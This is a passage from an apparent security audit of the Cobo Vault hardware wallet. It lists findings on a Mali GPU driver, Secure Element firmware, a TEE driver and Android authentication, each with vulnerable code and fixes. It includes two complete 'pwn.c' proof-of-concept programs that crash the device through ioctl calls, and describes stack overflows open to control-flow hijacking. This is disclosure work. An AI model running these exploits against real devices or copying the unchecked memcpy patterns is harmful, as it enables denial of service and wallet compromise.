997  _mali_osk_errcode_t _mali_ukk_mem_resize(_mali_uk_mem_resize_s *args)
998  {
999      mali_mem_backend *mem_backend = NULL;
1000     _mali_osk_errcode_t ret = _MALI_OSK_ERR_FAULT;

1002     struct mali_session_data *session = (struct mali_session_data *)(uintptr_t)args->
             ctx;

1004     MALI_DEBUG_ASSERT_POINTER(session);
1005     MALI_DEBUG_PRINT(4, (" mali_mem_resize_memory called! \n"));
1006     MALI_DEBUG_ASSERT(0 == args->psize % MALI_MMU_PAGE_SIZE);
```

Listing 3.27: mali_memory_manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can craft a random `psize` to fail the alignment check and crashes the system intentionally.

```
1  main()
2  {
3      int fd;
4      _mali_uk_mem_resize_s x;

6      fd = open("/dev/mali", O_RDONLY);

8      if ( fd < 0 ) {
9          printf("[-] Failed to open device (%s)\n", strerror(errno));
```

```
10            goto out;
11        }

13        printf("[+] Device opened at %d\n", fd);

15        x.psize = 1337;

17        ioctl(fd, MALI_IOC_MEM_RESIZE, &x);

19  close_out:
20        close(fd);
21  out:
22        return 0;
23  }
```

Listing 3.28: pwn.c

Case VI As shown in the following code snippets, `mali_soft_job_create` allocates a new job in line 158 whenever it is called with an user controllable `user_job`. Later on, the newly allocated `job` is assigned an `id` which equals `system->last_job_id++`. As an error handling mechanism, `MALI_DEBUG_ASSERT` () is triggered in line 182 when `job->id` reaches `MALI_SOFT_JOB_INVALID_ID`, this leads to the NULL pointer dereference which crashes the system.

```
143  struct mali_soft_job *mali_soft_job_create(struct mali_soft_job_system *system,
          mali_soft_job_type type, u64 user_job)
144  {
145       struct mali_soft_job *job;
146       _mali_osk_notification_t *notification = NULL;

148       MALI_DEBUG_ASSERT_POINTER(system);
149       MALI_DEBUG_ASSERT((MALI_SOFT_JOB_TYPE_USER_SIGNALED == type)
150                 (MALI_SOFT_JOB_TYPE_SELF_SIGNALED == type));

152       notification = _mali_osk_notification_create(_MALI_NOTIFICATION_SOFT_ACTIVATED,
              sizeof(_mali_uk_soft_job_activated_s));
153       if (unlikely(NULL == notification)) {
154           MALI_PRINT_ERROR(("Mali Soft Job: failed to allocate notification"));
155           return NULL;
156       }

158       job = _mali_osk_malloc(sizeof(struct mali_soft_job));
159       if (unlikely(NULL == job)) {
160           MALI_DEBUG_PRINT(2, ("Mali Soft Job: system alloc job failed. \n"));
161           return NULL;
162       }

164       mali_soft_job_system_lock(system);

166       job->system = system;
167       job->id = system->last_job_id++;
168       job->state = MALI_SOFT_JOB_STATE_ALLOCATED;
```

```
170        _mali_osk_list_add(&(job->system_list), &(system->jobs_used));

172        job->type = type;
173        job->user_job = user_job;
174        job->activated = MALI_FALSE;

176        job->activated_notification = notification;

178        _mali_osk_atomic_init(&job->refcount, 1);

180        MALI_DEBUG_ASSERT(MALI_SOFT_JOB_STATE_ALLOCATED == job->state);
181        MALI_DEBUG_ASSERT(system == job->system);
182        MALI_DEBUG_ASSERT(MALI_SOFT_JOB_INVALID_ID != job->id);
```

Listing 3.29: mali_soft_job.c

The DoS loophole could be triggered by the following attack code. As a bad actor, we can simply issuing the `MALI_IOC_SOFT_JOB_START` in an infinite loop to make the `job->id` reaches the `MALI_SOFT_JOB_INVALID_ID`, which takes less than one minute.

```
1  main()
2  {
3      int fd;
4      _mali_uk_soft_job_start_s x;
5      u32 id;

7      fd = open("/dev/mali", O_RDONLY);

9      if ( fd < 0 ) {
10         printf("[-] Failed to open device (%s)\n", strerror(errno));
11         goto out;
12     }

14     printf("[+] Device opened at %d\n", fd);

16     x.job_id_ptr = (u64)((u32)(&id));

18     while(1) {
19         ioctl(fd, MALI_IOC_SOFT_JOB_START, &x);
20     }

22 close_out:
23     close(fd);
24 out:
25     return 0;
26 }
```

Listing 3.30: pwn.c

Recommendation   As we see in the definition of `MALI_DEBUG_ASSERT()`, the `DEBUG` macro could be turned off to prevent the assertion crashes the system.

```
158  #else /* DEBUG */
```

```
160 #define MALI_DEBUG_CODE(code)
161 #define MALI_DEBUG_PRINT(string, args) do {} while(0)
162 #define MALI_DEBUG_PRINT_ERROR(args) do {} while(0)
163 #define MALI_DEBUG_PRINT_IF(level, condition, args) do {} while(0)
164 #define MALI_DEBUG_PRINT_ELSE(level, condition, args) do {} while(0)
165 #define MALI_DEBUG_PRINT_ASSERT(condition, args) do {} while(0)
166 #define MALI_DEBUG_ASSERT_POINTER(pointer) do {} while(0)
167 #define MALI_DEBUG_ASSERT(condition) do {} while(0)

169 #endif /* DEBUG */
```

Listing 3.31: mali_kernel_common.h

3.4 Out-of-bounds Write in Secure Element Firmware

- ID: PVE-004
- Severity: Medium
- Likelihood: Low
- Impact: High

- Target: mason_commands.c, mason_-wallet.c
- Category: Memory Buffer Errors [29]
- CWE subcategory: CWE-121 [11]

Description

In software, a stack buffer overflow or stack buffer overrun occurs when a program writes to a memory address on the program's call stack outside of the intended data structure, which is usually a fixed-length buffer. The security SoC firmware retrieves data from serial port and interprets them into commands. Specifically, we found that there are a lot of serious risk in using this issue. All of the cases are as follows:

Case I   As shown in the following code snippets, in `mason_execute_cmd()`, the previously pushed command is searched from the stack by `stack_search_CMDNo()` in line 583. Later on, the index kept by `unCMDNo` is used to jump to the specific command handler in line 591.

language

```
578 void mason_execute_cmd(pstStackType pstStack)
579 {
580     stackElementType pstTLV = NULL;
581     unCMDNoType unCMDNo = {0};

583     stack_search_CMDNo(pstStack, &pstTLV, &unCMDNo);

585     if (unCMDNo.buf[0] > CMD_H_MAX || unCMDNo.buf[1] > CMD_H_MAX)
586     {
587         mason_cmd_invalid((void*)pstStack);
588         return;
```

```
589         }

591         gstCmdHandlers[unCMDNo.buf[0]−1][unCMDNo.buf[1]−1].pFunc((void*)pstStack);
592  }
```

Listing 3.32: mason_commands.c

However, when we look into `stack_search_CMDNo()`, we found that the `memcpy()` in line 431 fails to check the size of memory to copy, leading to possible out-of-bounds memory write. Since the `punCMDNo` is allocated from stack, the out-of-bounds write may result in control-flow hijacking.

```
425  bool stack_search_CMDNo(pstStackType pstStack, stackElementType *pelement, unCMDNoType *
         punCMDNo)
426  {
427      stackElementType *pstTLV = pelement;

429      if (stack_search_by_tag(pstStack, pstTLV, 0x0001))
430      {
431          memcpy(punCMDNo−>buf, (*pstTLV)−>pV, (*pstTLV)−>L);
432          return true;
433      }

435      return false;
436  }
```

Listing 3.33: mason_commands.c

Recommendation   Copy fixed size of memory to avoid out-of-bounds write.

```
425  bool stack_search_CMDNo(pstStackType pstStack, stackElementType *pelement, unCMDNoType *
         punCMDNo)
426  {
427      stackElementType *pstTLV = pelement;

429      if (stack_search_by_tag(pstStack, pstTLV, 0x0001))
430      {
431          memcpy(punCMDNo−>buf, (*pstTLV)−>pV, sizeof(punCMDNo−>buf));
432          return true;
433      }

435      return false;
436  }
```

Listing 3.34: mason_commands.c

Case II   As shown in the following code snippets, in `mason_cmd0305_get_wallet()`, we found that the `memcpy()` in line 1159 fails to check the size of memory to copy, leading to possible out-of-bounds memory write.

```
1128  static void mason_cmd0305_get_wallet(void *pContext) {
1129      emRetType emRet = ERT_OK;
1130      uint8_t bufRet[2] = {0x00, 0x00};
1131      pstStackType pstS = (pstStackType)pContext;
```

```
1132        stStackType  stStack  =  {{NULL},  −1};
1133        stackElementType  pstTLV  =  NULL;
1134        uint8_t  ∗path  =  NULL;
1135        uint16_t  path_len  =  0;
1136        wallet_path_t  wallet_path;
1137        char  path_string [512]  =  {0};
1138        private_key_t  derived_private_key;
1139        chaincode_t  derived_chaincode;
1140        extended_key_t  extended_public_key;
1141        char  base58_ext_key [256];
1142        size_t  base58_ext_key_len  =  256;
1143        crypto_curve_t  curve_type  =  CRYPTO_CURVE_SECP256K1;

1145        mason_cmd_init_outputTLVArray(&stStack );
1146        if  (emRet  ==  ERT_OK  &&  stack_search_by_tag (pstS ,  &pstTLV ,  TLV_T_CMD))
1147        {
1148            mason_cmd_append_ele_to_outputTLVArray(&stStack ,  pstTLV );
1149        }
1150        else
1151        {
1152            emRet  =  ERT_CommFailParam;
1153        }

1155        if  (emRet  ==  ERT_OK  &&  stack_search_by_tag (pstS ,  &pstTLV ,  TLV_T_HD_PATH))
1156        {
1157            path_len  =  pstTLV−>L;
1158            path  =  (uint8_t  ∗)pstTLV−>pV;
1159            memcpy((uint8_t  ∗)path_string ,  path ,  path_len );
1160            path_string [path_len]  =  0;
1161        }  else  {
1162            emRet  =  ERT_CommFailParam;
1163        }
```

Listing 3.35: mason_commands.c

Since the `path_string` is allocated from stack, the out-of-bounds write may result in control-flow hijacking.

Recommendation Check the length to avoid out-of-bounds write.

```
1155        if  (emRet  ==  ERT_OK  &&  stack_search_by_tag (pstS ,  &pstTLV ,  TLV_T_HD_PATH))
1156        {
1157            path_len  =  pstTLV−>L;
1158            path  =  (uint8_t  ∗)pstTLV−>pV;
1159            if  (path_len  >=  sizeof(path_string ))
1160            {
1161                emRet  =  ERT_CommFailParam;
1162            }  else  {
1163                memcpy((uint8_t  ∗)path_string ,  path ,  path_len );
1164                path_string [path_len]  =  0;
1165            }
1166        }  else  {
1167            emRet  =  ERT_CommFailParam;
```

```
1168        }
```

<p align="center">Listing 3.36: mason_commands.c</p>

Case III   We identified three unsafe `memcpy()` calls in `mason_cmd0307_sign_ECDSA()` as follows:

```
1445        if(stack_search_by_tag(pstS, &pstTLV, TLV_T_TOKEN))
1446        {
1447            setting_token_t token ={0};
1448            memcpy(token.token, (uint8_t *)pstTLV->pV, pstTLV->L);
1449            token.length = pstTLV->L;
1450            if(!mason_token_verify(&token))
1451            {
1452                mason_token_delete();
1453                emRet = ERT_TokenVerifyFail;
1454            }
1455        }
1456        else
1457        {
1458            emRet = ERT_needToken;
1459        }
```

<p align="center">Listing 3.37: mason_commands.c</p>

```
1469        if(stack_search_by_tag(pstS, &pstTLV, TLV_T_HD_PATH))
1470        {
1471            path_len = pstTLV->L;
1472            path = (uint8_t *)pstTLV->pV;
1473            memcpy((uint8_t *)path_string, path, path_len);
1474            path_string[path_len] = 0;
1475        }
1476        else
1477        {
1478            emRet = ERT_CommFailParam;
1479        }
```

<p align="center">Listing 3.38: mason_commands.c</p>

```
1484        if (stack_search_by_tag(pstS, &pstTLV, TLV_T_HASH))
1485        {
1486            hash_len = pstTLV->L;
1487            memcpy(hash, pstTLV->pV, hash_len);
1488        }
1489        else
1490        {
1491            emRet = ERT_CommFailParam;
1492        }
```

<p align="center">Listing 3.39: mason_commands.c</p>

Each of them retrieves the length directly from the user-controllable `pstTLV->L` and `memcpy()` from `pstTLV->pV` to a fixed-size memory buffer allocated from stack, leading to possible control-flow hijacking attacks.

Recommendation   Check the length to copy or copy fixed size of memory buffer.

3.5   Memory Buffer Size Overflow in TrustKernel TEE Driver

- ID: PVE-005
- Severity: Informational
- Likelihood: N/A
- Impact: High

- Target: tee_ta_mgmt.c
- Category: Memory Buffer Errors [29]
- CWE subcategory: CWE-131 [13]

Description

In the `ioctl` handler of the driver bound with `/dev/tkcoredrv`, the `TEE_INSTALL_SYSTA_IOC` cmd is dispatched to `tee_install_sys_ta()` with the user-space pointer, `u_arg`. Within `tee_install_sys_ta()`, the `ta_inst_desc` is filled with the content pointed by `u_arg` in line 193. With the second `copy_from_user()` call, the `uuid` is filled again with `ta_inst_desc.uuid`. Later on, a memory chunk is allocated with the size (`sizeof(TEEC_UUID)`+ `sizeof(uint32_t)`+ `ta_inst_desc.ta_buf_size`). However, this is a integer overflow while calculating the size of memory to be allocated.

```
193     if ((copy_from_user(&ta_inst_desc, u_arg, sizeof(struct tee_ta_inst_desc)))) {
194         return −EFAULT;
195     }

197     if (copy_from_user(&uuid, ta_inst_desc.uuid, sizeof(TEEC_UUID))) {
198         return −EFAULT;
199     }

201     if ((shm = tee_shm_alloc_from_rpc(tee, sizeof(TEEC_UUID) + sizeof(uint32_t) +
            ta_inst_desc.ta_buf_size, TEEC_MEM_NONSECURE)) == NULL) {
202         pr_err("%s: tee_shm_alloc_ns(%uB) failed\n", __func__, ta_inst_desc.ta_buf_size)
            ;
203         return −ENOMEM;
204     }
```

Listing 3.40:   tee_ta_mgmt.c

As shown in the following code snippets, `sizeof(TEEC_UUID)` is 16. Since `sizeof(uint32_t)` is 4, the total allocated size would be 0 when `ta_inst_desc.ta_buf_size` is $(0x100000000 - 20)$ which equals 0xffffffec. Worse, the `ta_inst_desc.ta_buf_size` is never checked before the allocation.

```
251 typedef struct {
252     uint32_t timeLow;
253     uint16_t timeMid;
254     uint16_t timeHiAndVersion;
255     uint8_t clockSeqAndNode[8];
```

```
256  } TEEC_UUID;
```

Listing 3.41: tee_client_api.h

After `shm_kva` is `vmap()`'ed in line 206, the `copy_from_user()` call in line 215 could corrupt the kernel memory as the size could be crafted as a really large number (e.g., 0xffffffff) while the size of memory allocated is way smaller. This out-of-bounds memory write in kernel-space leads to possible privilege escalation attacks. Fortunately, the `copy_from_user()` function checks the range of user-space buffer, `ta_inst_desc.ta_buf`, so that a large `ta_inst_desc.ta_buf_size` cannot pass the check. We leave the likelihood of this loophole as N/A.

```
206      if ((shm_kva = vmap(shm->ns.pages, shm->ns.nr_pages, VM_MAP, PAGE_KERNEL)) == NULL)
             {
207          pr_err("%s: failed to vmap %zu pages\n", __func__, shm->ns.nr_pages);
208          r = -ENOMEM;
209          goto exit;
210      }

212      memcpy(shm_kva, &uuid, sizeof(TEEC_UUID));
213      memcpy((char *) shm_kva + sizeof(TEEC_UUID), &ta_inst_desc.ta_buf_size, sizeof(
             uint32_t));

215      if ((left = copy_from_user(
216          (char *) shm_kva + sizeof(TEEC_UUID) + sizeof(uint32_t), ta_inst_desc.ta_buf,
                 ta_inst_desc.ta_buf_size))) {
```

Listing 3.42: tee_ta_mgmt.c

Recommendation   Validate `ta_inst_desc.ta_buf_size` copied from user-space.

3.6   Weak Fingerprint Verification

- ID: PVE-006
- Severity: High
- Likelihood: Medium
- Impact: High

- Target: `com/cobo/cold/fingerprint/`
  `FingerprintKit.java`
- Category: Business Logic Errors[24]
- CWE subcategory: CWE-288 [15]

Description

The Cobo Vault supports the fingerprint authentication which can be enabled by users. However, we found that the implementation of verifying the fingerprint could be easily bypassed with a customized or compromised Android system. Specifically, `startVerify()` verifies user's fingerprint with the `FingerprintManager()`. If the input fingerprint passes the authentication process, the callback function `onAuthenticationSucceeded()` would be invoked. It means that the attacker could bypass the

the `FingerprintManager()` by calling the `onAuthenticationSucceeded()` directly. Even worse, the attacker could communicate with the Secure Element via serial port and pretent that she is fingerprint authenticated.

```java
193     public void startVerify(@NonNull VerifyListener listener) {

195         if (mCancellationSignal != null) {
196             mCancellationSignal.cancel();
197         }
198         mCancellationSignal = new CancellationSignal();
199         isVerifying = true;
200         Log.w("fpKit", "fp kit startVerify");
201         fp.authenticate(null, mCancellationSignal, 0,
202                 new FingerprintManager.AuthenticationCallback() {
203                     @Override
204                     public void onAuthenticationError(int errorCode, CharSequence
                            errString) {
205                         listener.onAuthenticationError(errorCode, errString);
206                         isVerifying = false;
207                         mCancellationSignal.cancel();
208                     }

210                     @Override
211                     public void onAuthenticationHelp(int helpCode, CharSequence
                            helpString) {
212                         listener.onAuthenticationHelp(helpCode, helpString);
213                     }

215                     @Override
216                     public void onAuthenticationSucceeded(FingerprintManager.
                            AuthenticationResult result) {
217                         listener.onAuthenticationSucceeded();
218                         isVerifying = false;
219                         mCancellationSignal.cancel();
220                     }
```

Listing 3.43: com/cobo/cold/fingerprint/ FingerprintKit .java

Recommendation Since the fingerprint verification mechanism on Android only verifies if the given fingerprint is legit or not, it's not a good way to authenticate for the access to the Secure Element. There's always a way to bypass the checks done by Android framework or system services without the victim's fingerprint. For security reasons, we suggest to remove the fingerprint authentication feature which we consider a vulnerable point of the system. If this is a mandatory feature, we suggest to at least pop-up a warning message to let users know the risks. One better solution is to leverage the Android keystore [1] to generate cryptographic keys with the fingerprint. The keystore can ensure that the private key can't be retrieved without the specific fingerprint. By sending the public key to the Secure Element, the fingerprint can be verified with a signature created with the private key.

3.7 Weak Password Verification

- ID: PVE-007
- Severity: High
- Likelihood: Medium
- Impact: High

- Target: com/cobo/cold/ui/views/
  PasswordModal.java
- Category: Business Logic Errors[24]
- CWE subcategory: CWE-288 [15]

Description

The user-defined password is the default authentication mechanism in Cobo Vault. However, we identified that the password is only verified in the application layer, which makes it easily to be bypassed as what we described in Section 3.6. Furthermore, the strength of the password is not checked when the user setup the password such that the SHA1(password + salt) password verification is vulnerable to rainbow table attacks.

```
118         binding.confirm.setOnClickListener(v -> {

120             Handler handler = new Handler();
121             binding.confirm.setVisibility(View.GONE);
122             binding.progress.setVisibility(View.VISIBLE);
123             AppExecutors.getInstance().networkIO().execute(() -> {
124                 boolean verified = Utilities.verifyPassword(activity,
125                         HashUtil.pbkdf(password.get(), Utilities.getRandomSalt(activity)));
```

Listing 3.44: com/cobo/cold/ui/views/PasswordModal.java

As shown in the above code snippet, the SHA1(password + salt) is passed into verifyPassword() in line 124.

```
91         public static boolean verifyPassword(Activity activity, String passwordSha1) {
92             SharedPreferences sp = activity.getSharedPreferences(PREFERENCE_SECRET,
                    MODE_PRIVATE);
93             return passwordSha1.equals(sp.getString(PREFERENCE_KEY_PASSWORD, ""));
94         }
```

Listing 3.45: com/cobo/cold/Utilities.java

Inside verifyPassword(), the passwordSha1 string is compared with the PREFERENCE_KEY_PASSWORD string retrieved from the Android root filesystem (SharedPreferences), which is not a safe way to keep password hashes.

Recommendation Verify the password inside the Secure Element.

3.8 Redundant API in Secure Element

- ID: PVE-008
- Severity: Informational
- Likelihood: N/A
- Impact: N/A

- Target: `mason_commands.c`
- Category: Coding Practice [23]
- CWE subcategory: CWE-1041 [10]

Description

The Secure Element (SE) is a microprocessor chip which can store sensitive data and run secure apps such as signing transactions. Since it provides a lot of core security function API for the upper layers of Cobo Vault, we checked all APIs and identified that some of them are redundant. The following functions can be removed directly to ensure the safety of the Cobo Vault:

```
1    mason_cmd0101_com_test()
2    mason_cmd0202_write_sn()
```

Listing 3.46: Redundant API

Recommendation   Remove obsolete/redundant API.

3.9 Risk of Mnemonic Theft in Application Layer

- ID: PVE-009
- Severity: High
- Likelihood: Medium
- Impact: High

- Target: `com/cobo/cold/viewmodel/` `SetupVaultViewModel.java`
- Category: Info. Mgmt Errors [28]
- CWE subcategory: CWE-316 [16]

Description

While creating a new wallet or importing a wallet with the mnemonic, the Cobo Vault shows the mnemonic on the screen and asks the user to verify the mnemonic. In the meantime, the plaintext mnemonic is temporarily stored in the memory, which leads to the risks of mnemonic theft if bad actors somehow dump the memory.

```
40    private String mnemonic;
41
42    public void setMnemonic(String mnemonic) {
43      this.mnemonic = mnemonic;
44    }
```

Listing 3.47: com/cobo/cold/ui/views/SetupVaultViewModel.java

```
97      private void validateMnemonic(View view) {
98      String mnemonic = mBinding.table.getWordsList()
99        .stream()
100       .map(ObservableField::get)
101       .reduce((s1, s2) -> s1 + " " + s2)
102       .orElse("");
103
104
105     if (viewModel.validateMnemonic(mnemonic)) {
106       viewModel.setMnemonic(mnemonic);
107       viewModel.writeMnemonic();
108     } else {
109       Utilities.alert(mActivity,
110       getString(R.string.hint),
111       getString(R.string.wrong_mnemonic_please_check),
112       getString(R.string.confirm), null);
113     }
114   }
```

Listing 3.48: com/cobo/cold/ui/fragment/setup/MnemonicInputFragment.java

```
68      private void verifyMnemonic() {
69        String mnemonic = mBinding.table.getWordsList()
70          .stream()
71          .map(ObservableField::get)
72          .reduce((s1, s2) -> s1 + " " + s2)
73          .orElse("");
74        if (mnemonic.equals(viewModel.getRandomMnemonic().getValue())) {
75          viewModel.setMnemonic(mnemonic);
76          viewModel.writeMnemonic();
77        } else {
78          Utilities.alert(mActivity, getString(R.string.hint), getString(R.string.
                invalid_mnemonic),
79          getString(R.string.confirm), null);
80        }
81
82    }
```

Listing 3.49: com/cobo/cold/ui/fragment/setup/ConfirmMnemonicFragment.java

As shown in the above code snippets, the `setMnemonic()` method in `PasswordModal.java` stores the mnemonic words in memory. The `validateMnemonic()` method in `MnemonicInputFragment.java` and `verifyMnemonic()` in `ConfirmMnemonicFragment.java` invoke the `setMnemonic()` method in two different scenarios, the creation and import of wallets, respectively. Here, we found no further handling logic of the sensitive information (i.e., the mnemonic) in memory.

Recommendation   Clean up the mnemonic in memory. In addition, we noticed that it is inevitable to leave traces in the memory cache even if we do garbage collection right after loading/removing sensitive data (e.g., password, mnemonic, etc.) into/from memory. We leave it as a known issue.

3.10 Risk of Mnemonic Theft in Secure Element

- ID: PVE-010
- Severity: Low
- Likelihood: Low
- Impact: High

- Target: `mason_wallet.c`
- Category: Credentials Mgmt Errors [26]
- CWE subcategory: CWE-256 [14]

Description

As a hardware feature, the Secure Element has a built-in flash integrated in the SoC which stores data with hardware-based encryption. With the hardware encryption mechanism, bad actors have no chance to retrieve the plaintext data from the flash through external channels (e.g., I/O bus). This means the only way to get plaintext data from the flash is the firmware running on the Secure Element, which makes the security of the encryption data (e.g., mnemonic) depend on the integrity of the Secure Element firmware. Since the mnemonic are written into the flash with no software encryption as shown in the following code snippets, the hardware encryption scheme leads to risks of mnemonic theft.

```
75      bool mason_mnemonic_write(mnemonic_t *mnemonic) {
76          bool is_succeed = false;
77          is_succeed = mason_storage_write_buffer((uint8_t *)mnemonic, sizeof(*mnemonic),
                FLASH_ADDR_MNOMONIC_512B);
78          return is_succeed;
79      }
```

Listing 3.50: `mason_wallet.c`

Fortunately, the firmware integrity is ensured by the asymmetric cryptography mechanism in the patched codebase, which makes the Secure Element firmware hard to be compromised. Based on that, we set the likelihood of this vulnerability to low.

Recommendation Encrypt the mnemonic with a password or fingerprint which is not kept in the Secure Element. Therefore, the bad actor cannot decode the encrypted mnemonic even she has the control of the Secure Element (e.g., control-flow hijacking).

3.11 Missing Authentication before Deleting Mnemonics in Secure Element

- ID: PVE-011
- Severity: Low
- Likelihood: Low
- Impact: Medium

- Target: `mason_commands.c`
- Category: Business Logic Errors [24]
- CWE subcategory: CWE-288 [15]

Description

In Cobo Vault, there's a feature to reset the wallet, which essentially deletes the mnemonics. With the password/fingerprint authenticated in the application layer, the `mason_delete_wallet()` function in the Secure Element firmware deletes the mnemonics data. However, if the attacker somehow bypasses the application layer and calls `mason_delete_wallet()`, the mnemonics stored in the Secure Element could be directly cleared. In addition, there's no warning popped up when an user resets the wallet. This results in the loss of digital assets if the victim makes an mistake.

Recommendation   Verify the password/fingerprint inside the Secure Element before calling `mason_delete_wallet()`. In addition, the Cobo Vault should pop up a warning message an user resets the wallet.

3.12 Missing Authentication before Signing Transactions in Secure Element

- ID: PVE-012
- Severity: High
- Likelihood: Medium
- Impact: High

- Target: `mason_commands.c`
- Category: Business Logic Errors [24]
- CWE subcategory: CWE-288 [15]

Description

In Cobo Vault, an essential feature is signing the transactions inside the Secure Element with the transaction data provided by the hot wallet. The signed transactions can later be broadcasted to the blockchain by the hot wallet app. While reviewing the codebase of the Secure Element, we found that there's a risk that the bad actor could bypass the authentication and sign arbitrary transactions inside Secure Element. Specifically, the `mason_cmd0307_sign_ECDSA()` function in the Secure Element firmware is called when the password/fingerprint authentication is passed in the application layer.

However, if an attacker sends the raw transaction data through the serial port directly into the Secure Element, she can use the `mason_cmd0307_sign_ECDSA()` the steal all the crypto assets from the victim's cold wallet.

Recommendation   Verify the password/fingerprint inside the Secure Element before calling `mason_cmd0307_sign_ECDSA()`.

3.13   Missing Integrity Check on Secure Element Firmware

- ID: PVE-013
- Severity: High
- Likelihood: Medium
- Impact: High

- Target: `mason_iap.c`
- Category: Business Logic Errors[24]
- CWE subcategory: CWE-288 [15]

Description

In the review of Secure Element firmware source code, we found that the integrity of the firmware binary file is not verified whiling upgrading the firmware. Although the Cobo Vault performs the integrity check on the whole firmware upgrade package (`update.zip`) in the application layer, it leaves risks of writing malicious programs directly into the Secure Element through the serial port. With the crafted Secure Element firmware, the attackers could easily dump the mnemonics and other sensitive data.

Recommendation   Implement an asymmetric cryptography scheme to check the integrity of the firmware inside Secure Element. While packing the firmware, use the private key to create a signature with the hash of the firmware binary and append it into the firmware package. Inside the Secure Element, validate the signature of the firmware package before writing it into the flash. This ensures that the Secure Element firmware is the official release version.

3.14 Duplicate Code in Secure Element

- ID: PVE-014
- Severity: Informational
- Likelihood: N/A
- Impact: N/A

- Target: mason_commands.c
- Category: Coding Practices [23]
- CWE subcategory: CWE-1041 [10]

Description

While reviewing the Secure Element firmware source code, we identified that there're lots of duplicate code which makes the codebase hard to maintain. Most of them are related to searching the command previously pushed into stack and retrieving the corresponding (type, length, value) tuple.

```
1987     static void mason_cmd0901_usrpwd_modify(void * pContext)
1988     {
1989         emRetType emRet = ERT_OK;
1990         uint8_t bufRet[2] = {0x00, 0x00};
1991         pstStackType pstS = (pstStackType)pContext;
1992         stStackType stStack = {{NULL}, -1};
1993         stackElementType pstTLV = NULL;
1994         uint8_t * cur_pwd = NULL;
1995         uint16_t cur_pwd_len = 0;
1996         uint8_t * new_pwd = NULL;
1997         uint16_t new_pwd_len = 0;
1998         bool allow_modify = false;

2000         mason_cmd_init_outputTLVArray(&stStack);
2001         if (emRet == ERT_OK && stack_search_by_tag(pstS, &pstTLV, TLV_T_CMD))
2002         {
2003             mason_cmd_append_ele_to_outputTLVArray(&stStack, pstTLV);
2004         }
2005         else
2006         {
2007             emRet = ERT_CommFailParam;
2008         }

2010         if (emRet == ERT_OK)
2011         {
2012             if(stack_search_by_tag(pstS, &pstTLV, TLV_T_USRPWD_CUR))
2013             {
2014                 cur_pwd = (uint8_t *)pstTLV->pV;
2015                 cur_pwd_len = pstTLV->L;
2016                 // copmare cur pass and store pass
2017                 if(mason_usrpwd_verify(cur_pwd, cur_pwd_len))
2018                 {
2019                     mason_usrcount_reset();
2020                     allow_modify = true;
2021                 }
```

```
2022                else
2023                {
2024                    mason_usrcount();
2025                    emRet = ERT_UsrPassVerifyFail;
2026                }
2027            }
2028            else
2029            {
2030                emRet = ERT_needUsrPass;
2031            }
2032        }
```

Listing 3.51: mason_wallet.c

For example, line 2000-2008 in the above code snippet, is implemented in almost all command handler functions in the Secure Element firmware. After checking if the `TLV_T_CMD` is in the stack, most command handler functions also check the specific command (e.g., `TLV_T_USRPWD_CUR`) and perform the corresponding process (line 2012-2031). We believe the code flow could be greatly simplified and modularized.

Recommendation   Code refactoring.

3.15   Arbitrary Memory Write in Secure Element

- ID: PVE-015
- Severity: Medium
- Likelihood: Low
- Impact: High

- Target: mason_iap.c
- Category: Memory Buffer Errors [29]
- CWE subcategory: CWE-787 [12]

Description

The Cobo Vault has a Secure Element which safely stores the private keys and signs transactions sent by the wallet App through serial port. In some cases, Cobo may require users to update the firmware of the Secure Element with a signed firmware package which passes the integrity check. In our analysis, we identified a loophole in the firmware upgrade process which could be exploited to corrupt the firmware or even compromise the private keys. As shown in the following code snippets, the `mason_iap_package_process()` is called with a memory buffer pointed by `pBin` along with the length of the buffer, `binLen`. In line 172, `pBin` is sent into `mason_iap_boot_decryption()` for decryption with the decrypted output stores in a local buffer, `decryption_output`. After the decryption, the first four bytes of `decryption_output` are extracted and stored into `addr` in line 177. By adding $0x10000$ into `addr`, the address is used as the offset for a page-wise memory write operation in line 195.

```
161   emRetType mason_iap_package_process(emFwPackTypeType emFwPackType,
```

```
162          uint8_t *pBin, uint32_t binLen, uint8_t *pFileDigest)
163  {
164      emRetType emRet = ERT_OK;
165      uint32_t addr = 0UL;
166      //static SHA256_CTX sha256ctx;
167      uint8_t retry = 0;
168      uint8_t bufSHA256[SHA256_LEN] = {0};
169      uint8_t decryption_output[PAGE_SIZE + 8];
170      uint8_t *page_buffer;

172      emRet = mason_iap_boot_decryption(pBin, decryption_output, binLen);

174      if (emRet != ERT_OK) {
175          return emRet;
176      }
177      buf_to_u32(&addr, decryption_output);
178      addr += 0x10000;
179      page_buffer = &decryption_output[8];
180      wdt_feed();
181      switch (emFwPackType)
182      {
183      case E_PACK_FIRST:
184      {
185          // #message FLASH_ADDR_APP_START
186          // #error FLASH_ADDR_APP_START
187          // addr = FLASH_ADDR_APP_START;
188          //SHA256_init(&sha256ctx);
189      }
190      case E_PACK_CONTINUE:
191      {
192          for (retry=0; retry<3; retry++)
193          {
194              wdt_feed();
195              if(!mason_iap_write_page_safe(addr, page_buffer, PAGE_SIZE))
```

Listing 3.52: mason_iap.c

Here comes the interesting part. If the decryption key or algorithm is somehow compromised, the bad actor could use this loophole to corrupt an arbitrary page in the address space of the Secure Element. The results could be a DoS attack or even hijack the control flow of `mason_iap_package_process ()` to compromise the mnemonics which are also stored in a page of the firmware flash.

Recommendation Validate the `addr` to ensure the page-wise memory write can only update the firmware code partition. Since the firmware is upgraded piece-by-piece, we also recommend performing an overall integrity check after the firmware upgrade is completed. This may requires extra memory or flash space.

3.16 Denial-of-Service Loophole in perf_event

- ID: PVE-016
- Severity: Informational
- Likelihood: N/A
- Impact: Low

- Target: kernel/events/core.c
- Category: Concurrency Issues [25]
- CWE subcategory: CWE-821 [21]

Description

This is a known loophole detected by syzkaller [34]. Specifically, `__perf_event_period()` performs another `raw_spin_lock_irq(&ctx->lock)` inside. However, in line 3938, when `ctx->is_active` is `false`, the lock held in line 3937 would be a deadlock inside `__perf_event_period()`. Fortunately, the `perf_event_open` system call is not reachable due to SELinux policy, we set the likelihood to N/A, which makes the severity of this loophole informational.

```
3933    retry:
3934        if (!task_function_call(task, __perf_event_period, &pe))
3935            return 0;

3937        raw_spin_lock_irq(&ctx->lock);
3938        if (ctx->is_active) {
3939            raw_spin_unlock_irq(&ctx->lock);
3940            task = ctx->task;
3941            goto retry;
3942        }

3944        __perf_event_period(&pe);
```

Listing 3.53: kernel/event/core.c

```
3873    static int __perf_event_period(void *info)
3874    {
3875        struct period_event *pe = info;
3876        struct perf_event *event = pe->event;
3877        struct perf_event_context *ctx = event->ctx;
3878        u64 value = pe->value;
